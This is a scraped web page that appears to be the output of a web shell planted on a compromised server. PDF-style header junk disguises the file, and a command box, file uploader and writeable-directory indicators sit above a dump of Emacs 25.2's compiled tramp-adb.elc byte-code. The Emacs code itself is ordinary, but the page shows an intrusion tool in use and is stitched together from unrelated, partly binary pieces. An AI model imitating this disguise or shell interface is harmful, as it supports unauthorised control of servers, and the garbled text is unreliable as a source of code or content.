%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/net/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/net/tramp-adb.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\302\303\304\305\306\301\307\310\311\312&	\210\302\313\314\315\306\301\307\316\311\317&	\207" [require tramp custom-declare-variable tramp-adb-program "adb" "Name of the Android Debug Bridge program." :group :version "24.4" :type string tramp-adb-connect-if-not-connected nil "Try to run `adb connect' if provided device is not connected currently.\nIt is used for TCP/IP devices." "25.1" boolean] 10)
#@76 *When this method name is used, forward all calls to Android Debug Bridge.
(defconst tramp-adb-method "adb" (#$ . -837))
#@42 Regexp used as prompt in almquist shell.
(custom-declare-variable 'tramp-adb-prompt "^\\(?:[[:digit:]]*|?\\)?\\(?:[[:alnum:];[]*@[[:alnum:]]*[^#\\$]*\\)?[#\\$][[:space:]]" '(#$ . 964) :type 'string :version "24.4" :group 'tramp)
(defconst tramp-adb-ls-date-regexp "[[:space:]][0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9][[:space:]][0-9][0-9]:[0-9][0-9][[:space:]]")
(defconst tramp-adb-ls-toolbox-regexp "^[[:space:]]*\\([-[:alpha:]]+\\)[[:space:]]*\\([^[:space:]]+\\)[[:space:]]+\\([^[:space:]]+\\)[[:space:]]+\\([[:digit:]]+\\)[[:space:]]+\\([-[:digit:]]+[[:space:]][:[:digit:]]+\\)[[:space:]]\\(.*\\)$")
(byte-code "\301\302\303B\"\210\301\304\305B\"\210\306\307\310\"\210\301\311\312\313B\"\207" [tramp-adb-method add-to-list tramp-methods ((tramp-tmpdir "/data/local/tmp") (tramp-default-port 5555)) tramp-default-host-alist (nil #1="") eval-after-load tramp #[nil "\301\302\"\207" [tramp-adb-method tramp-set-completion-function ((tramp-adb-parse-device-names #1#))] 3] tramp-foreign-file-name-handler-alist tramp-adb-file-name-p tramp-adb-file-name-handler] 4)
#@50 Alist of handler functions for Tramp ADB method.
(defconst tramp-adb-file-name-handler-alist '((access-file . ignore) (add-name-to-file . tramp-adb-handle-copy-file) (copy-file . tramp-adb-handle-copy-file) (delete-directory . tramp-adb-handle-delete-directory) (delete-file . tramp-adb-handle-delete-file) (directory-file-name . tramp-handle-directory-file-name) (directory-files . tramp-handle-directory-files) (directory-files-and-attributes . tramp-adb-handle-directory-files-and-attributes) (dired-call-process . ignore) (dired-compress-file . ignore) (dired-uncache . tramp-handle-dired-uncache) (expand-file-name . tramp-adb-handle-expand-file-name) (file-accessible-directory-p . tramp-handle-file-accessible-directory-p) (file-acl . ignore) (file-attributes . tramp-adb-handle-file-attributes) (file-directory-p . tramp-adb-handle-file-directory-p) (file-equal-p . tramp-handle-file-equal-p) (file-executable-p . tramp-handle-file-exists-p) (file-exists-p . tramp-handle-file-exists-p) (file-in-directory-p . tramp-handle-file-in-directory-p) (file-local-copy . tramp-adb-handle-file-local-copy) (file-modes . tramp-handle-file-modes) (file-name-all-completions . tramp-adb-handle-file-name-all-completions) (file-name-as-directory . tramp-handle-file-name-as-directory) (file-name-completion . tramp-handle-file-name-completion) (file-name-directory . tramp-handle-file-name-directory) (file-name-nondirectory . tramp-handle-file-name-nondirectory) (file-newer-than-file-p . tramp-handle-file-newer-than-file-p) (file-notify-add-watch . tramp-handle-file-notify-add-watch) (file-notify-rm-watch . tramp-handle-file-notify-rm-watch) (file-notify-valid-p . tramp-handle-file-notify-valid-p) (file-ownership-preserved-p . ignore) (file-readable-p . tramp-handle-file-exists-p) (file-regular-p . tramp-handle-file-regular-p) (file-remote-p . tramp-handle-file-remote-p) (file-selinux-context . ignore) (file-symlink-p . tramp-handle-file-symlink-p) (file-truename . tramp-adb-handle-file-truename) (file-writable-p . tramp-adb-handle-file-writable-p) (find-backup-file-name . tramp-handle-find-backup-file-name) (insert-directory . tramp-handle-insert-directory) (insert-file-contents . tramp-handle-insert-file-contents) (load . tramp-handle-load) (make-auto-save-file-name . tramp-handle-make-auto-save-file-name) (make-directory . tramp-adb-handle-make-directory) (make-directory-internal . ignore) (make-symbolic-link . tramp-handle-make-symbolic-link) (process-file . tramp-adb-handle-process-file) (rename-file . tramp-adb-handle-rename-file) (set-file-acl . ignore) (set-file-modes . tramp-adb-handle-set-file-modes) (set-file-selinux-context . ignore) (set-file-times . tramp-adb-handle-set-file-times) (set-visited-file-modtime . tramp-handle-set-visited-file-modtime) (shell-command . tramp-adb-handle-shell-command) (start-file-process . tramp-adb-handle-start-file-process) (substitute-in-file-name . tramp-handle-substitute-in-file-name) (unhandled-file-name-directory . tramp-handle-unhandled-file-name-directory) (vc-registered . ignore) (verify-visited-file-modtime . tramp-handle-verify-visited-file-modtime) (write-region . tramp-adb-handle-write-region)) (#$ . 2032))
#@35 Check if it's a filename for ADB.
(defalias 'tramp-adb-file-name-p #[(filename) "\303!\304	!\n\230)\207" [filename v tramp-adb-method tramp-dissect-file-name tramp-file-name-method] 2 (#$ . 5231)])
(put 'tramp-adb-file-name-p 'byte-optimizer 'byte-compile-inline-expand)
#@134 Invoke the ADB handler for OPERATION.
First arg specifies the OPERATION, second arg is a list of arguments to
pass to the OPERATION.
(defalias 'tramp-adb-file-name-handler #[(operation &rest args) "\305	\"\211\203\306 \307\216\310\nA\f\"*\202\311\f\")\207" [operation tramp-adb-file-name-handler-alist fn save-match-data-internal args assoc match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] apply tramp-run-real-handler] 4 (#$ . 5511)])
#@55 Return a list of (nil host) tuples allowed to access.
(defalias 'tramp-adb-parse-device-names #[(_ignore) "\3062\352\307\310\311\312#\211	B\313\216\314\315!r\nq\210\316\216\317p\320$\321\f
>\311\211%\311?@A@\322\323\324\325\326A!\327#CBCDE\3301\343DFX\205\337\331 G\332\216H\203\215D\333X\203\215\334\335D\336U\203o\337\202\206D\340U\203z\337\202\206D\341U\203\205\342\202\206\343CPB#\210F\344Y\205\336\345E!\203\247\336F\346E\347\311#E)D\340U\203\310\336Fr\350E!q\210C\351PC\352B\353 C\"B*\354E!\205\336\334\355E\356\357D\"CPB$*0\202\347\210\202\350\210,\360A\311\"\210\361A!\362=\203\363A\364\"\210\202\357\363A\365\"\210@\322\351\353 CBCDE\3661\265DFX\205\261\331 G\367\216H\203_D\333X\203_\334\335D\336U\203A\337\202XD\340U\203L\337\202XD\341U\203W\342\202X\343CPB#\210F\344Y\205\260\345E!\203y\336F\346E\347\311#E)D\340U\203\232\336Fr\350E!q\210C\351PC\352B\353 C\"B*\354E!\205\260\334\355E\356\357D\"CPB$*0\202\271\210\202\272\210,eb\210\370\371\311\372#\203\337\311\373\340!D\211I?\235\204\333I?B?)\202\276\374\375?\"\210?.	0\211J\306=?\205\365J)\207" [-with-timeout-timer- with-timeout-timers #1=#:temp-buffer tramp-adb-program tramp-adb-method tramp-current-user #2=#:timeout run-with-timer 10 nil #[nil "\300\301\211\"\207" [throw #2#] 3] #[nil "\301!\207" [-with-timeout-timer- cancel-timer] 2] generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] start-process "devices" vector 6 "%s" mapconcat identity process-command " " (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message format "(%d) # " tramp-compat-set-process-query-on-exit-flag process-status run accept-process-output 0.1 0.1 (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] search-forward-regexp "^\\(\\S-+\\)[[:space:]]+device$" t match-string mapc #[(elt) "A\302\303	A@#\240\207" [elt tramp-prefix-port-format tramp-compat-replace-regexp-in-string ":"] 5] tramp-current-host result v p arguments fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message #3=#:x -with-timeout-value-] 8 (#$ . 6002)])
#@42 Like `expand-file-name' for Tramp files.
(defalias 'tramp-adb-handle-expand-file-name #[(name &optional dir) "\206		\206	\306\307\n!\204\310!\nP\311\n!\204#\312\313\n\314D\"\207\315\n!\316!\317!\320!(\321!)\322!*\312\307)C\"\204M\306)P)\323\314+\324\325!\203`\326\325\327N@!\206\325\330\331!\203w\332\331!\204r\333\331!\205\325\331 \202\325\334\335!\211,\205\204\336,!)\203\220\310\334\335!!\202\325\334\337!\211,\205\235\336,!)\203\251\310\334\337!!\202\325\334\340!\211,\205\266\336,!)\203\302\310\334\340!!\202\325\341\342!\203\316\310\342!\202\325\343\344!\210\310\345!)-\346\f
(\347\312\313)C\"!$.\207" [dir default-directory name v method user "/" file-name-absolute-p file-name-as-directory tramp-tramp-file-p tramp-run-real-handler expand-file-name nil tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop 47 boundp temporary-file-directory eval standard-value fboundp temp-directory subrp functionp getenv "TEMP" file-directory-p "TMP" "TMPDIR" file-exists-p "c:/temp" message "Neither `temporary-file-directory' nor `temp-directory' is defined -- using /tmp." "/tmp" tramp-make-tramp-file-name tramp-drop-volume-letter host localname hop file-name-handler-alist d directory-sep-char] 9 (#$ . 8455)])
#@42 Like `file-directory-p' for Tramp files.
(defalias 'tramp-adb-handle-file-directory-p #[(filename) "\301\302!!@\207" [filename file-attributes file-truename] 3 (#$ . 9806)])
#@39 Like `file-truename' for Tramp files.
(defalias 'tramp-adb-handle-file-truename #[(filename) "\306\307\310\311!!\312	!\313	!\314	!\315	!\316	!@\317\n\f\320
!\203\364	\321	
\322\323$\211A\323=\203\356	\324B	\325\326CCDEF\3271\344EGX\205\340\330 H\331\216I\203\216E\332X\203\216\333\334E\335U\203p\336\202\207E\337U\203{\336\202\207E\340U\203\206\341\202\207\342DPC#\210G\325Y\205\337\343F!\203\250\335G\344F\345\324#F)E\337U\203\311\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\337\333\353F\306\354E\"DPC$*0\202\350\210\202\351\210,\355J\356
\357\"K\360\361
C\"L
L\230M\324N\335O\362P\324QK\203\261OPW\203\261K\211AK\242N	\363\364\365\366\350\367\370B!NC#\357#CCDEF\3711\333EGX\205\327\330 H\372\216I\203\205E\332X\203\205\333\334E\335U\203g\336\202~E\337U\203r\336\202~E\340U\203}\341\202~\342DPC#\210G\325Y\205\326\343F!\203\237\335G\344F\345\324#F)E\337U\203\300\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\326\333\353F\306\354E\"DPC$*0\202\337\210\202\340\210,\373\317\n\f\365\366\350\374\370B!NC#\357#$!@QN\375\230\203\266	\363\376\324CDEF\3771\255EGX\205\251\330 H\201\\\216I\203WE\332X\203W\333\334E\335U\2039\336\202PE\337U\203D\336\202PE\340U\203O\341\202P\342DPC#\210G\325Y\205\250\343F!\203q\335G\344F\345\324#F)E\337U\203\222\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\250\333\353F\306\354E\"DPC$*0\202\261\210\202\262\210,\202\fN\201]\230\203\200	\363\201^\324CDEF\201_1pEGX\205l\330 H\201`\216I\203E\332X\203\333\334E\335U\203\374\336\202E\337U\203\336\202E\340U\203\341\202\342DPC#\210G\325Y\205k\343F!\2034\335G\344F\345\324#F)E\337U\203U\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205k\333\353F\306\354E\"DPC$*0\202t\210\202u\210,B\211AB\210\202\fQ;\203\247	\363\201aQCCDEF\201b19EGX\2055\330 H\201c\216I\203\343E\332X\203\343\333\334E\335U\203\305\336\202\334E\337U\203\320\336\202\334E\340U\203\333\341\202\334\342DPC#\210G\325Y\2054\343F!\203\375\335G\344F\345\324#F)E\337U\203\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\2054\333\353F\306\354E\"DPC$*0\202=\210\202>\210,OTO\320Q!\203N\324B\201dQ!\203\230\201eQ\"\204\225	\201f\201gQCCDRF\324IF\211F\203\\F\201h\347\201i\201j\201k!!S\201l\216SS\201m \210)rSq\210\351 +CCDEF\201n1SEGX\205O\330 H\201o\216I\203\375E\332X\203\375\333\334E\335U\203\337\336\202\366E\337U\203\352\336\202\366E\340U\203\365\341\202\366\342DPC#\210G\325Y\205N\343F!\203\335G\344F\345\324#F)E\337U\2038\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205N\333\353F\306\354E\"DPC$*0\202W\210\202X\210,\202\260G\201hY\203\260TUr\201i\201p!q\210p\201q \210UT\324\211VW\201r\211X\201rYZ\201s \210\201t\201u!\210+\211[S\201m \210\201v[!\210+)F\203\203F\337\201w\201xR\211\201yN\333\201zDC#E!CCDEF\201{1}EGX\205y\330 H\201|\216I\203'E\332X\203'\333\334E\335U\203	\336\202 E\337U\203\336\202 E\340U\203\341\202 \342DPC#\210G\325Y\205x\343F!\203A\335G\344F\345\324#F)E\337U\203b\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205x\333\353F\306\354E\"DPC$*0\202\201\210\202\202\210,\201RR\333\201zDC#C\"\210-
Q\350\356Q\357\"K\"\211K\202NBBB\202\fOPY\203\355	\201f\201}PCCDRF\324IF\211F\203\264F\201h\347\201i\201j\201k!!S\201~\216SS\201m \210)rSq\210\351 +CCDEF\2011\253EGX\205\247\330 H\201\200\216I\203UE\332X\203U\333\334E\335U\2037\336\202NE\337U\203B\336\202NE\340U\203M\341\202N\342DPC#\210G\325Y\205\246\343F!\203o\335G\344F\345\324#F)E\337U\203\220\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\246\333\353F\306\354E\"DPC$*0\202\257\210\202\260\210,\202G\201hY\203TUr\201i\201p!q\210p\201q \210UT\324\211VW\201r\211X\201rYZ\201s \210\201t\201u!\210+\211[S\201m \210\201v[!\210+)F\203\333F\337\201w\201xR\211\201yN\333\201zDC#E!CCDEF\201\2011\325EGX\205\321\330 H\201\202\216I\203E\332X\203\333\334E\335U\203a\336\202xE\337U\203l\336\202xE\340U\203w\341\202x\342DPC#\210G\325Y\205\320\343F!\203\231\335G\344F\345\324#F)E\337U\203\272\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\320\333\353F\306\354E\"DPC$*0\202\331\210\202\332\210,\201RR\333\201zDC#C\"\210-\370B!\211B\203	\365\366\336BB\357#\202	\357BM\203#	B\336\230\204	B\201\203\324O\357\230\204#	B\357PB.	\325\201\204
BDCDEF\201\2051\331	EGX\205\325	\330 H\201\206\216I\203\203	E\332X\203\203	\333\334E\335U\203e	\336\202|	E\337U\203p	\336\202|	E\340U\203{	\341\202|	\342DPC#\210G\325Y\205\324	\343F!\203\235	\335G\344F\345\324#F)E\337U\203\276	\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\324	\333\353F\306\354E\"DPC$*0\202\335	\210\202\336	\210,B)A\201\207	
\322A$\210A)\202\253\324B	\325\326CCDEF\201\2101\247\nEGX\205\243\n\330 H\201\211\216I\203Q\nE\332X\203Q\n\333\334E\335U\2033\n\336\202J\nE\337U\203>\n\336\202J\nE\340U\203I\n\341\202J\n\342DPC#\210G\325Y\205\242\n\343F!\203k\n\335G\344F\345\324#F)E\337U\203\214\n\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\242\n\333\353F\306\354E\"DPC$*0\202\253\n\210\202\254\n\210,\355J\356
\357\"K\360\361
C\"L
L\230M\324N\335O\362P\324QK\203zOPW\203zK\211AK\242N	\363\364\365\366\350\367\370B!NC#\357#CCDEF\201\2121\242EGX\205\236\330 H\201\213\216I\203LE\332X\203L\333\334E\335U\203.\336\202EE\337U\2039\336\202EE\340U\203D\341\202E\342DPC#\210G\325Y\205\235\343F!\203f\335G\344F\345\324#F)E\337U\203\207\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\235\333\353F\306\354E\"DPC$*0\202\246\210\202\247\210,\373\317\n\f\365\366\350\374\370B!NC#\357#$!@QN\375\230\203\f	\363\376\324CDEF\201\2141v\fEGX\205r\f\330 H\201\215\216I\203 \fE\332X\203 \f\333\334E\335U\203\f\336\202\fE\337U\203
\f\336\202\fE\340U\203\f\341\202\f\342DPC#\210G\325Y\205q\f\343F!\203:\f\335G\344F\345\324#F)E\337U\203[\f\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205q\f\333\353F\306\354E\"DPC$*0\202z\f\210\202{\f\210,\202\317\nN\201]\230\203I
	\363\201^\324CDEF\201\21619
EGX\2055
\330 H\201\217\216I\203\343\fE\332X\203\343\f\333\334E\335U\203\305\f\336\202\334\fE\337U\203\320\f\336\202\334\fE\340U\203\333\f\341\202\334\f\342DPC#\210G\325Y\2054
\343F!\203\375\f\335G\344F\345\324#F)E\337U\203
\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\2054
\333\353F\306\354E\"DPC$*0\202=
\210\202>
\210,B\211AB\210\202\317\nQ;\203p	\363\201aQCCDEF\201\2201EGX\205\376
\330 H\201\221\216I\203\254
E\332X\203\254
\333\334E\335U\203\216
\336\202\245
E\337U\203\231
\336\202\245
E\340U\203\244
\341\202\245
\342DPC#\210G\325Y\205\375
\343F!\203\306
\335G\344F\345\324#F)E\337U\203\347
\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\375
\333\353F\306\354E\"DPC$*0\202\210\202\210,OTO\320Q!\203\324B\201dQ!\203a\201eQ\"\204^	\201f\201gQCCDRF\324IF\211F\203%F\201h\347\201i\201j\201k!!S\201\222\216SS\201m \210)rSq\210\351 +CCDEF\201\2231EGX\205\330 H\201\224\216I\203\306E\332X\203\306\333\334E\335U\203\250\336\202\277E\337U\203\263\336\202\277E\340U\203\276\341\202\277\342DPC#\210G\325Y\205\343F!\203\340\335G\344F\345\324#F)E\337U\203\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\333\353F\306\354E\"DPC$*0\202 \210\202!\210,\202yG\201hY\203yTUr\201i\201p!q\210p\201q \210UT\324\211VW\201r\211X\201rYZ\201s \210\201t\201u!\210+\211[S\201m \210\201v[!\210+)F\203LF\337\201w\201xR\211\201yN\333\201zDC#E!CCDEF\201\2251FEGX\205B\330 H\201\226\216I\203\360E\332X\203\360\333\334E\335U\203\322\336\202\351E\337U\203\335\336\202\351E\340U\203\350\341\202\351\342DPC#\210G\325Y\205A\343F!\203\n\335G\344F\345\324#F)E\337U\203+\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205A\333\353F\306\354E\"DPC$*0\202J\210\202K\210,\201RR\333\201zDC#C\"\210-
Q\350\356Q\357\"K\"\211K\202\321\nNBBB\202\317\nOPY\203\266	\201f\201}PCCDRF\324IF\211F\203}F\201h\347\201i\201j\201k!!S\201\227\216SS\201m \210)rSq\210\351 +CCDEF\201\2301tEGX\205p\330 H\201\231\216I\203E\332X\203\333\334E\335U\203\336\202E\337U\203\336\202E\340U\203\341\202\342DPC#\210G\325Y\205o\343F!\2038\335G\344F\345\324#F)E\337U\203Y\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205o\333\353F\306\354E\"DPC$*0\202x\210\202y\210,\202\321G\201hY\203\321TUr\201i\201p!q\210p\201q \210UT\324\211VW\201r\211X\201rYZ\201s \210\201t\201u!\210+\211[S\201m \210\201v[!\210+)F\203\244F\337\201w\201xR\211\201yN\333\201zDC#E!CCDEF\201\2321\236EGX\205\232\330 H\201\233\216I\203HE\332X\203H\333\334E\335U\203*\336\202AE\337U\2035\336\202AE\340U\203@\341\202A\342DPC#\210G\325Y\205\231\343F!\203b\335G\344F\345\324#F)E\337U\203\203\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\231\333\353F\306\354E\"DPC$*0\202\242\210\202\243\210,\201RR\333\201zDC#C\"\210-\370B!\211B\203\313\365\366\336BB\357#\202\314\357BM\203\354B\336\230\204\346B\201\203\324O\357\230\204\354B\357PB.	\325\201\204
BDCDEF\201\2341\242EGX\205\236\330 H\201\235\216I\203LE\332X\203L\333\334E\335U\203.\336\202EE\337U\2039\336\202EE\340U\203D\341\202E\342DPC#\210G\325Y\205\235\343F!\203f\335G\344F\345\324#F)E\337U\203\207\335Gr\346F!q\210D\347PD\350C\351 C\"C*\352F!\205\235\333\353F\306\354E\"DPC$*0\202\246\210\202\247\210,B)$.\201\236!\336\230\203\274\357\202\275\336#\207" [filename v method user host localname format "%s%s" tramp-dissect-file-name expand-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-make-tramp-file-name file-name-absolute-p tramp-get-file-property "file-truename" undef nil 4 "Finding true name for `%s'" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 #1="" 1 2 "Warning: " "Tramp: " processp tramp-get-connection-property "vector" tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message "(%d) # " 47 tramp-compat-split-string "/" tramp-run-real-handler file-name-as-directory 20 5 "Check %s" mapconcat identity (#1#) reverse (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] file-attributes (#1#) "." "Ignoring step `.'" (error) hop value result arguments fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message directory-sep-char steps localnamedir is-dir thisstep numchase numchase-limit symlink-target signal standard-output default-directory #2=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #3=#:buf #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] ".." "Processing step `..'" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "Follow symlink to %s" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-tramp-file-p tramp-equal-remote file-error "Symlink target `%s' on wrong host" 10 get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "Maximum number (%d) of symlinks exceeded" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] -1 "True name of `%s' is `%s'" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-set-file-property (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] file-name-nondirectory] 18 (#$ . 9987)])
#@41 Like `file-attributes' for Tramp files.
(defalias 'tramp-adb-handle-file-attributes #[(filename &optional id-format) "\204\306\3071\225\310	!\311\n!\312\n!\313\n!\314\n!\315\n!\316!\203q\317\n\320\321\"\322$\211\322=\203k\323\n\320\324\325\n!\326!#\"\205]r\327\n!q\210\330 \210\331\n\"@A)\332\n\320\321\"$\210)\202\221\323\n\320\324\325\n!\326!#\"\205\221r\327\n!q\210\330 \210\331\n\"@A).0\207\210\333\207" [id-format filename v method user host integer (error) tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-name-absolute-p tramp-get-file-property format "file-attributes-%s" undef tramp-adb-send-command-and-check "%s -d -l %s" tramp-adb-get-ls-command tramp-shell-quote-argument tramp-get-buffer tramp-adb-sh-fix-ls-output tramp-do-parse-file-attributes-with-ls tramp-set-file-property nil localname hop value] 8 (#$ . 23661)])
#@66 Parse `file-attributes' for Tramp files using the ls(1) command.
(defalias 'tramp-do-parse-file-attributes-with-ls #[(vec &optional id-format) "r\306!q\210eb\210\307\310\n\307\311#\203\223\312\313!\211\314H\315=\314H\316=\312\317!\312\320!\321\312\322!!\312\323!\312\324! 
\205I\325 \326\"A@!
\203X\325 \326\"@\202Z \f\206`!\313\"\327=\203l\314\202n\"\327=\203y\314\202{\330\331!\332\311\313\333!\257
	B.	\202	*\207" [vec file-properties tramp-adb-ls-toolbox-regexp mod-string is-dir is-symlink tramp-get-buffer nil re-search-forward t match-string 1 0 100 108 2 3 string-to-number 4 5 6 split-string "\\( -> \\|\n\\)" integer (0 0) date-to-time (0 0) tramp-get-device uid gid size date name symlink-target id-format] 15 (#$ . 24633)])
#@56 Like `directory-files-and-attributes' for Tramp files.
(defalias 'tramp-adb-handle-directory-files-and-attributes #[(directory &optional full match nosort id-format) "\306!\205!\307\310!!\311	!\312	!\313	!\314	!\315	!,\316\317
!\203\274\320	
\321\322-./0%\323$\2111\323=\203\266r\324	!q\210\325	\321\326\327	!\330
!#\"\203s``}\210\331	\321\332\327	!\330\333
!\334P!\330\333
!\335P!$\"\210~\210\336 \210\337	/\206~\340\"2-\203\215\341\3422\"20\204\231\3432\344\"2\345\346\341\3472\"\"*1\350	
\321\322-./0%1$\2101)\202r\324	!q\210\325	\321\326\327	!\330
!#\"\203\357``}\210\331	\321\332\327	!\330\333
!\334P!\330\333
!\335P!$\"\210~\210\336 \210\337	/\206\372\340\"2-\203	\341\3512\"20\204\3432\352\"2\345\346\341\3532\"\"*!.\207" [directory v method user host localname file-directory-p tramp-dissect-file-name expand-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop copy-tree file-name-absolute-p tramp-get-file-property format "directory-files-and-attributes-%s-%s-%s-%s" undef tramp-get-buffer tramp-adb-send-command-and-check "%s -a -l %s" tramp-adb-get-ls-command tramp-shell-quote-argument tramp-adb-send-command "%s -d -a -l %s %s" file-name-as-directory "." ".." tramp-adb-sh-fix-ls-output tramp-do-parse-file-attributes-with-ls integer mapcar #[#1=(x) "\302@	\"AB\207" [x directory expand-file-name] 3] sort #[#2=(x y) "@	@\231\207" [x y] 2] delq nil #[#3=(x) "\203\f\302	@\"\205
	\207" [match x string-match] 3] tramp-set-file-property #[#1# "\302@	\"AB\207" [x directory expand-file-name] 3] #[#2# "@	@\231\207" [x y] 2] #[#3# "\203\f\302	@\"\205
	\207" [match x string-match] 3] hop full match id-format nosort value result] 11 (#$ . 25419)])
(defalias 'tramp-adb-get-ls-command #[(vec) "\306\307\310#\211\310=\203\267\311\312\313\3141\236\f'X\205\232\315 (\316\216)\203V\f\317X\203V\320\321\f\322U\203<\323\202Q\f\324U\203F\323\202Q\f\325U\203P\326\202Q\327P\n#\210'\330Y\205\231\331
!\203m\322'\306
\332\313#)\f\324U\203\210\322'r\333
!q\210\334P\335\n\336 C\"*\337
!\205\231\320\340
\341\342\f\"P\n$*0\202\242\210\202\243\210,\343\344\"\203\257\345\202\260\307\346\307	#\210	)\207" [vec value arguments fmt-string level vec-or-proc tramp-get-connection-property "ls" undef 5 "Finding a suitable `ls' command" nil (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp "vector" tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message format "(%d) # " tramp-adb-send-command-and-check "ls --color=never -al /dev/null" "ls --color=never" tramp-set-connection-property tramp-verbose save-match-data-internal tramp-message-show-message] 7])
#@115 Almquist shell can't handle multiple arguments.
Convert ("-al") to ("-a" "-l").  Remove arguments like "--dired".
